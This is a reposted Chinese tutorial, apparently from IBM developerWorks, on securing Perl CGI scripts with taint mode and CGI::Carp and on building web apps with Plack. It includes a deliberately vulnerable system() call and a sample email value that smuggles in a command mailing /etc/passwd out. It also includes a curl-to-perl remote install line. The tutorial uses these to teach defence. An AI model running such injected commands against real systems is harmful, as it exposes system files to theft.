Perl Web 门户基础知识(Plack,cpanm)

IBM的技术文档还是值得看看的,有很多东西写的通俗易懂。很多还是中文的(这点英语不太的朋友们一定很喜欢)感觉很好所以还是转过来了:

Perl 是一种功能强大的脚本语言,既可以使用它从命令行执行一些小操作,也可以用它生成完整的 Web 门户。了解编写安全的 Perl CGI 脚本的技术非常重要,以便开发出的 Web 门户不会破坏服务器的完整性或 Web 网站的数据。本文首先会介绍一些能够帮助开发人员创建安全的 Perl CGI 脚本并处理错误的技术,然后查看一些使用 Plack 系统构建 Web 应用程序的更简便的方法。

受污染的信息

让信息不受污染听上去似乎是不可能的事情,要保证脚本彻底安全,只能既不使用外部数据,也不使用来自外部连接或接口的数据(例如运行一个命令或连接到外部数据库)。对于一些简单的脚本,这是完全有可能做到的。

但对于一般的 Web 应用程序,会从一个表单或其他位置接收数据,然后在其他表单中使用这些数据,在这种情况下,使用脚本解决方案才是首选。

使用这样的数据可能造成严重后果。例如,请考虑一下 清单1 中的示例:

清单 1. 典型的脚本
#!/usr/bin/perl 
use strict;
use warnings;

use CGI qw/:standard/; 
my $query = new CGI(); 
my $email = $query->param(email); 
system("mail $email") or die "Couldn't open mail"

假设我们能一直获得完全有效的 email 地址,那么这段脚本看上去没有任何问题。但我们使用了 system() 函数来发送 email,因此 email 地址的内容可能会影响到系统。例如,假设所提供的 email 地址是:

    [email protected];
    cat /etc/passwd |  mail  [email protected]

现在 email 地址不仅(可能)包含有效的 email 地址,而且还通过 email 告诉其他人密码文件。system() 函数打开一个子 shell 并执行相关内容。这就是一个重大安全问题。

如果 Perl 没有提供称为污染模式的内置模式,那么追踪不同信息的来源就会变得很困难。如果 Perl 确定实际有效的用户 ID 是其他 ID,或通过在命令行或脚本开头处使用 -T 选项,那么系统会自动启用污染模式。

启用污染模式后,Perl 会检查不同数据和变量的来源与使用情况,确保使用的信息未执行带有不安全或危险操作的脚本,未包含不受信任的信息。顾名思意,这些数据被划分为受污染的 数据。

对于源自命令行参数、环境变量、本地信息和某些系统调用(包括访问共享目录、共享内存和系统数据)的所有信息,Perl 会识别受污染的数据。另外,所有从外部文件读取的数据都会受污染。

不能在调用子 shell 的命令(包括管道输入/输出和 system() 调用或 exec() 调用)或修改文件的目录的命令(如写入、删除或重命名)或进程中直接或间接使用受污染的数据。

此规则还有一个特例,print()(及其衍生物)和 syswrite() 不会触发污染错误或子方法、子引用或哈希键。

污染功能还会自动扩展,监视可疑的值,即使您未直接使用它。例如,无论何时调用 system() 或 exec(),都会检查 PATH 环境变量的值,无论是否在命令行中使用了受污染的变量,因为所执行的命令是由 PATH 决定的。检查 PATH 是为了确保路径中列出的所有目录都是绝对路径,而且所有者及其所在组以外的人无法执行写入操作。这样做可防止所运行的命令产生更大的问题。

如果启用了污染模式,Perl 会产生错误并停止执行,它还会识别出正在使用的受污染值。例如,使用不安全的 PATH 会产生以下错误:

Insecure $ENV{PATH} while running with -T switch at t.pl line 11

而使用不安全的变量会产生以下错误:

Insecure dependency in system while running with -T switch at t2.pl line 2

在典型的 Web 应用程序中,无论用来收集信息的方法是什么,用户从表单提供的数据都会受污染。源自 CGI 脚本的数据可以从标准输入或环境变量中获得(这取决与所使用的 HTTP 方法和环境),而且这两者都被划分为污染源。

为了保护脚本执行,并确保未使用不安全数据,您需要识别信息并去除污染,以便可以安全使用数据。

使用 CGI::Carp

在 Perl 脚本中,报告错误的常用方法是使用 warn() 或 die() 函数来报告或产生错误。而对于 Carp 模块,它可以对产生的消息提供额外级别的控制,尤其是在模块内部。

另外一个模块 CGI::Carp 提供了很多与 Carp 模块一样的功能。它专门设计用于 Web 脚本中,可将错误信息写入指定的日志,而不是写入默认 Web 服务器日志中(例如,由 Apache 生成的日志),或者您可以在某种受控方式下将信息写入 Web 页面。

标准 Carp 模块提供了 warn() 和 die() 函数的替代方法,它们在提供错误定位方面提供更多信息,而且更加友好。当在模块中使用时,错误消息中包含模块名称和行号。

在 Carp 模块内部,有 4 个主要函数,carp() 是警告消息的同义词,croak() 与 die() 一样,可以结束脚本。cluck() 和 confess() 分别与warn() 和 die() 类似,但提供了从产生错误处的栈回溯追踪。

如果同时使用 Carp 和 CGI::Carp 模块,那么标准函数,例如 warn()die() 和 Carp 模块函数、croak()confess() 和 carp() 将会将错误信息写入已配置好的 HTTP 服务器日志,并附带日期/时间戳和脚本来源。

使用 HTTP 服务器错误日志的一个替代方法是使用 CGI::Carp 并利用 carpout() 函数。该函数只有一个参数,即您用来写入错误信息的文件的文件句柄(通常会将该信息发送到 STDERR)。您需要显式导入 carpout() 函数。如 清单 2 中的一个示例所示。

清单 2. 使用 CGI::Carp
#!/usr/bin/perl 
use strict;
use warnings;

use CGI::Carp qw/carpout/; 
use IO::File; 

my $logfile = IO::File->new('browser.log','w')
    or die "Couldn't open logfile:$!\n"; 
    
carpout($logfile); 

warn "Some error must have occurred\n";

日志中产生的信息是通过日期和产生输出的脚本名称进行区分的:

[Thu Sep 2 11:35:56 2010] carpout.cgi:Some error must have occurred

所有的标准方法都假设您想要将错误信息写入日志文件中。但是您可能并不始终具有访问日志的权限,或者并不总是能够登录到浏览器来获取信息。

因此 CGI::Carp 函数提供了一个 fatalsToBrowser 选项将致命错误消息(die()confess())重新指向浏览器和 Web 服务器日志。这样可以确保您的用户能够看到脚本所产生的错误。非致命错误(warn() 和 carp())将会按照常规继续发送至错误日志。

要使用 CGI::Carp 模块,必须在加载该模块时将它指定为一个选项,请使用 CGI::Carp qw/fatalsToBrowser/;。我们可以将它添加到文件浏览脚本中,以确保错误被正确报告和识别。

使用 Plack

信息污染以及使用 CGI::Carp 都是低级的问题,但仍然会引起人们的重视。但是,可以通过使用一些 Web 应用程序框架(例如 Catalyst 或 Dancer)来简化 CGI 应用程序的低层次方面,比如处理查询参数和输出头部材料。Plack 可以同框架一起使用,也可以单独使用,如下所示。

Plack 是 Web 框架和 Web 服务器的 Perl 纽带。Plack 位于代码(无论是否使用框架)和 Web 服务器(例如,Apache、Starman 和 FCGI)之间。这意味着您(以及您所用的框架)无需担心 Web 服务器的设置,反之亦然。

设置 Plack

我们现在将开始设置 Plack。我们将会使用 cpanm(来自 App::cpanminus)下载模块并将它安装到 local::lib(无需具有 root 访问权限)。如 清单 3 所示。

清单 3. 初始设置
# archive of any existing cpan configuration
mv ~/.cpan ~/.cpan_original
 
# Then one of the following:

# if you can run wget
wget -O - http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval
$(perl -I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# OR if you can run curl
curl -L http://cpanmin.us/ | perl - local::lib App::cpanminus && echo 'eval $(perl
-I$HOME/perl5/lib/perl5 -Mlocal::lib)' >> ~/.bashrc && .~/.bashrc
 
# otherwise, download the contents of http://cpanmin.us to a file called cpanmin.us,
make it executable and then run: 
./cpanmin.us local::lib App::cpanminus && echo 'eval $(perl -I$HOME/perl5/lib/perl5
-Mlocal::lib)' >> ~/.bashrc && .~/.bashrc

以上步骤就是快速方便地构建 Web 应用程序所需的核心 Plack 模块(参见下方 清单 4)。

清单 4. 使用 cpanminus 安装 Plack
cpanm Task::Plack 
# Please also run this as we will use it later 
cpanm Plack::Middleware::TemplateToolkit

主目录中的 perl5 文件夹下已经包含了所需的所有模块。下一步是创建一个 .psgi 配置文件,用它返回一个 Web 页面(参见下方 清单 5)。

清单 5. 创建一个 .psgi 配置文件
# Tell Perl where our lib is (ALWAYS use this) 
use lib "$ENV{HOME}/perl5/lib/perl5"; 

# ensure we declare everything correctly (ALWAYS use this) 
use strict; 

# Give us diagnostic warnings where possible (ALWAYS use this) 
use warnings; 

# Allow us to build our application 
use Plack::Builder; 

# A basic app 
my $default_app = sub { 
    my $env = shift; 
    return [ 
        200, # HTTP Status code 
        [ 'Content-Type' => 'text/html' ], # HTTP Headers, 
        ["All is good"] # Content 
    ];
}; 

# return the builder 
return builder {
    $default_app; 
}

将配置文件保存到名为 1.psgi 的文件中,然后在命令行中使用 plackup 命令启动 Web 服务器,如下所示:plackup 1.psgi。您会看到:HTTP::Server::PSGI:Accepting connections at http://SERVER_IP:5000/

使用 Web 浏览器转至 http://SERVER_IP:5000/。如果您是在自己的台式机上开发程序,则可以使用 http://localhost:5000/ 。您会看到页面显示 “All is good”。实际上,转到任何页面都会看到 http://localhost:5000/any_page.html,因为不管请求的是什么,都会返回此内容。

您可能会注意到,在命令行上可以看到 Web 服务器的访问日志。这是因为 Plack 默认情况下被设置为开发模式,并且打开一些额外的中间件层,其中包括 AccessLog、StackTrace 和 Lint。

如果要在运行时看到 StackTrace,那么请在清单 4 中注释掉第 27 行,只需在行首加上一个井号 (#) 即可:# ["All is good"] # Content

重新启动 plackup 命令(输入 Ctrl+C 停止进程,然后运行 plackup 1.psgi 启动)。现在,在 Web 浏览器中再次转至http://localhost:5000/,您将会看到错误的 StackTrace。注意页面顶部的主要错误消息 “response needs to be 3 element array, or 2 element in streaming”。然后,您可以按照追踪的每一步骤,单击每一段追踪信息下方的 Show function arguments 和 Show lexical variables 链接来帮助调试。

去掉 # 并重新启动,那么您就再次拥有了一个有效的 .psgi 文件。

开发

plackup 命令有好几个命令行参数,运行 perldoc plackup 命令会显示相关文档。最常用的参数是 -r 或 --reload;这会让 plackup 监控 .psgi 文件(如果 psgi 文件有相应的 lib 目录,也会受到监控):plackup -r 1.psgi

扩展应用程序

Plack 中有很多有用的应用程序,您肯定想将它们集成到您的 Web 门户中。例如,在 清单 6 中,我们使用 Plack::App::Directory 来列出目录,并将其内容用作静态文件。我们将使用 Plack::App::URLMap 来选择将应用程序加载到哪个 URL 上。

清单 6. 第二个 .psgi 配置文件
use lib "$ENV{HOME}/perl5/lib/perl5"; 
use strict; 
use warnings; 
use Plack::Builder; 

# 'mount' applications on specific URLs 
use Plack::App::URLMap; 

# Get directory listings and serve files 
use Plack::App::Directory; 

my $default_app = sub { 
    my $env = shift; 
    return [ 200, [ 'Content-Type' => 'text/html' ], ["All is good"] ];
}; 

# Get the Directory app, configured with a root directory 
my $dir_app = Plack::App::Directory->new( { root => "/tmp/" } )->to_app; 

# Create a mapper object
my $mapper = Plack::App::URLMap->new(); 

# mount our apps on urls 
$mapper->mount('/' => $default_app); 
$mapper->mount('/tmp' => $dir_app); 

# extract the new overall app from the mapper 
my $app = $mapper->to_app(); 

# Return the builder 
return builder { 
    $app; 
}

清单 6 中的代码将 $dir_app 加载到 /tmp/ ( open http://localhost:5000/tmp/ ) 以及 $default_app 或其他任何路径 ( open http://localhost:500/anything_else.html )

更多的中间件和应用程序

有很多的 Plack::Apps 和 Plack::Middleware 模块可以帮助我们完成常见任务。我们将看一看 Plack::Middleware::TemplateToolkit,它通过模板化引擎 Template-Toolkit (TT) 来解析文件。图像和其他静态内容不会通过 TT,因此我们会配置 Plack::Middleware::Static,通过特定的扩展名直接提供文件。在此之前,我们想在出现错误 404(文件未找到)时,会显示一个好看的页面;我们使用Plack::Middleware::ErrorDocument 来完成这项任务。我们所需加入的代码如 清单 7 所示。

清单 7. Plack::Middleware::TemplateToolkit 模块
    # A link to your htdocs root folder
    my $root = '/path/to/htdocs/';
    
    # Create a new template toolkit application (which we will default to)
    my $default_app = Plack::Middleware::TemplateToolkit->new(
        INCLUDE_PATH => $root,    # Required
    )->to_app();
    
    return builder {

        # Page to show when requested file is missing
        # this will not be processes with TT
        enable "Plack::Middleware::ErrorDocument",
            404 => "$root/page_not_found.html";

        # These files can be served directly
        enable "Plack::Middleware::Static",
            path => qr{[gif|png|jpg|swf|ico|mov|mp3|pdf|js|css]$},
            root => $root;

        # Our application
        $default_app;
    }

到此为止,深入研究一下提供 PSGI 支持并能使用 Plack 的众多 Web 框架之一也许是值得的。这些框架提供了执行更复杂的任务的结构和支持。让我们来看一下 Catalyst、Mojolicious 或 Dancer。Perl.org Web 框架白皮书(参阅 参考资料 中链接)讨论了使用框架的诸多优势。

结束语

由于要保证从用户处接收的信息的安全,因此在 Perl Web 门户脚本中解析并使用 Web 数据变得非常复杂。一旦批准了通过 Perl 脚本访问底层文件系统,就必须确保 CGI 脚本不能访问您不想让外部人员访问的文件。

Plack 不能消除您对这些因素的担忧,但它能让构建先进的 Web 应用程序系统的过程变得轻松很多。Plack 能够解决这些问题,而且提供了一个简化的环境来构建 Web 应用程序。Plack 可以处理 Web 服务器与 Perl 应用程序之间的复杂性,简化并保护您的应用程序和服务器。


from:http://www.ibm.com/developerworks/cn/aix/library/au-perlweb_revision/index.html


你可能感兴趣的:(others)